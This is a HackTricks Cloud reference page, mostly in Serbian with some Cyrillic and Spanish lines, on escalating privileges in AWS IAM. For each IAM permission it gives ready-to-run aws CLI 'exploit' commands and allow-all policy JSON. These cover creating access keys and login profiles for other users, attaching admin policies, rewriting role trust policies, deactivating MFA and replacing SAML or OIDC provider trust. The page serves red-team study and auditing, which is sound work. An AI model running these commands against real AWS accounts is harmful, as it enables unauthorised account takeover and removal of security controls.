AWS - IAM Privesc
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
IAM
Za više informacija o IAM pogledajte:
AWS - IAM, Identity Center & SSO Enum
iam:CreatePolicyVersion
Omogućava kreiranje nove verzije IAM policy-ja, zaobilazeći potrebu za permisijom iam:SetDefaultPolicyVersion korišćenjem --set-as-default flag-a. Ovo omogućava definisanje prilagođenih dozvola.
Exploit Command:
aws iam create-policy-version --policy-arn <target_policy_arn> \
--policy-document file:///path/to/administrator/policy.json --set-as-default
Uticaj: Direktno eskalira privilegije dozvoljavajući bilo koju akciju nad bilo kojim resursom.
iam:SetDefaultPolicyVersion
Omogućava promenu podrazumevane verzije IAM politike na neku drugu postojeću verziju, što može dovesti do eskalacije privilegija ako nova verzija ima više dozvola.
Bash Command:
aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2
Uticaj: Indirektno privilege escalation omogućavanjem dodatnih dozvola.
iam:CreateAccessKey
Omogućava kreiranje access key ID i secret access key za drugog korisnika, što može dovesti do potencijalnog privilege escalation.
Exploit:
aws iam create-access-key --user-name <target_user>
Uticaj: Direktna eskalacija privilegija preuzimanjem proširenih dozvola drugog korisnika.
iam:CreateLoginProfile | iam:UpdateLoginProfile
Dozvoljava kreiranje ili ažuriranje profila za prijavu, uključujući postavljanje lozinki za AWS console login, što dovodi do direktne eskalacije privilegija.
Exploit for Creation:
aws iam create-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'
Exploit za Update:
aws iam update-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'
Uticaj: Direktno povećanje privilegija (privilege escalation) prijavom kao “any” korisnik.
iam:UpdateAccessKey
Omogućava ponovno omogućavanje onemogućenog access key-a, što može dovesti do neovlašćenog pristupa ako attacker poseduje onemogućeni access key.
Exploit:
aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>
Uticaj: Direktna eskalacija privilegija ponovnim reaktiviranjem access keys.
iam:CreateServiceSpecificCredential | iam:ResetServiceSpecificCredential
Omogućava generisanje ili resetovanje kredencijala za specifične AWS servise (npr. CodeCommit, Amazon Keyspaces), pri čemu nasleđuju dozvole povezane sa odgovarajućim korisnikom.
Exploit for Creation:
aws iam create-service-specific-credential --user-name <username> --service-name <service>
Exploit za Reset:
aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>
Uticaj: Direktna eskalacija privilegija unutar servisnih dozvola korisnika.
iam:AttachUserPolicy || iam:AttachGroupPolicy
Omogućava pridruživanje politika korisnicima ili grupama, direktno eskalirajući privilegije nasleđivanjem dozvola iz priložene politike.
Exploit for User:
aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"
Exploit za grupu:
aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"
Uticaj: Direktna eskalacija privilegija do svega što policy dodeljuje.
iam:AttachRolePolicy, ( sts:AssumeRole|iam:createrole) | iam:PutUserPolicy | iam:PutGroupPolicy | iam:PutRolePolicy
Dozvoljava pridruživanje ili postavljanje policies na roles, users ili groups, što omogućava direktnu eskalaciju privilegija dodeljivanjem dodatnih permissions.
Exploit for Role:
aws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"
Exploit za Inline Policies:
aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
--policy-document "file:///path/to/policy.json"
aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json
aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json
Možete koristiti politiku kao:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": ["*"],
"Resource": ["*"]
}
]
}
Uticaj: Direktna eskalacija privilegija dodavanjem dozvola putem politika.
iam:AddUserToGroup
Omogućava dodavanje sebe u IAM grupu, eskalirajući privilegije nasleđivanjem dozvola te grupe.
Exploit:
aws iam add-user-to-group --group-name <group_name> --user-name <username>
Uticaj: Direktna eskalacija privilegija do nivoa dozvola grupe.
iam:UpdateAssumeRolePolicy
Dozvoljava izmenu assume role policy dokumenta uloge, omogućavajući preuzimanje te uloge i njenih povezanih dozvola.
Exploit:
aws iam update-assume-role-policy --role-name <role_name> \
--policy-document file:///path/to/assume/role/policy.json
Gde politika izgleda kao u nastavku i daje korisniku dozvolu da preuzme ulogu:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sts:AssumeRole",
"Principal": {
"AWS": "$USER_ARN"
}
}
]
}
Uticaj: Direktan privilege escalation preuzimanjem dozvola bilo koje role.
iam:UploadSSHPublicKey || iam:DeactivateMFADevice
Omogućava otpremanje SSH javnog ključa za autentifikaciju na CodeCommit i deaktiviranje MFA uređaja, što može dovesti do potencijalnog indirektnog privilege escalation.
Exploit for SSH Key Upload:
aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>
Exploit za deaktivaciju MFA:
aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>
Uticaj: Indirektna eskalacija privilegija omogućavanjem pristupa CodeCommit ili onemogućavanjem MFA zaštite.
iam:ResyncMFADevice
Omogućava ponovnu sinhronizaciju MFA uređaja, što može dovesti do indirektne eskalacije privilegija manipulacijom MFA zaštitom.
Bash Command:
aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
--authentication-code1 <code1> --authentication-code2 <code2>
Uticaj: Indirektno eskaliranje privilegija dodavanjem ili manipulisanjem MFA uređajima.
iam:UpdateSAMLProvider, iam:ListSAMLProviders, (iam:GetSAMLProvider)
Sa ovim dozvolama možete izmeniti XML metapodatke SAML konekcije. Zatim, možete zloupotrebiti SAML federation da se login sa bilo kojom ulogom koja mu veruje.
Imajte na umu da u tom slučaju legitimni korisnici neće moći da se login. Međutim, možete pribaviti XML, zameniti ga svojim, login i vratiti prethodnu konfiguraciju.
# List SAMLs
aws iam list-saml-providers
# Optional: Get SAML provider XML
aws iam get-saml-provider --saml-provider-arn <ARN>
# Update SAML provider
aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-arn <arn>
## Login impersonating roles that trust the SAML provider
# Optional: Set the previous XML back
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>
Note
TODO: Alat sposoban da generiše SAML metapodatke i prijavi se sa određenom ulogom
iam:UpdateOpenIDConnectProviderThumbprint, iam:ListOpenIDConnectProviders, (iam:GetOpenIDConnectProvider)
(Nisam siguran u vezi ovoga) Ako napadač ima ove permissions, mogao bi dodati novi Thumbprint i na taj način se prijaviti u sve uloge koje veruju provajderu.
# List providers
aws iam list-open-id-connect-providers
# Optional: Get Thumbprints used to not delete them
aws iam get-open-id-connect-provider --open-id-connect-provider-arn <ARN>
# Update Thumbprints (The thumbprint is always a 40-character string)
aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn <ARN> --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3
iam:PutUserPermissionsBoundary
Ovo dopuštenje omogućava napadaču да ажурира permissions boundary корисника, потенцијално ескалирајући његове привилегије тако што ће му омогућити извршавање радњи које су иначе ограничене његовим постојећим дозволама.
aws iam put-user-permissions-boundary \
--user-name <nombre_usuario> \
--permissions-boundary arn:aws:iam::<cuenta>:policy/<nombre_politica>
Un ejemplo de una política que no aplica ninguna restricción es:
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "BoundaryAllowAll",
"Effect": "Allow",
"Action": "*",
"Resource": "*"
}
]
}
iam:PutRolePermissionsBoundary
Entitet koji ima iam:PutRolePermissionsBoundary može postaviti ograničenje dozvola na postojeću ulogu. Rizik nastaje kada osoba sa ovom dozvolom promeni ograničenje uloge: može nepravilno ograničiti operacije (uzrokujući prekid usluge) ili, ako priloži permisivno ograničenje, efikasno proširiti šta uloga može da radi i eskalirati privilegije.
aws iam put-role-permissions-boundary \
--role-name <Role_Name> \
--permissions-boundary arn:aws:iam::111122223333:policy/BoundaryPolicy
Izvori
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
HackTricks Cloud

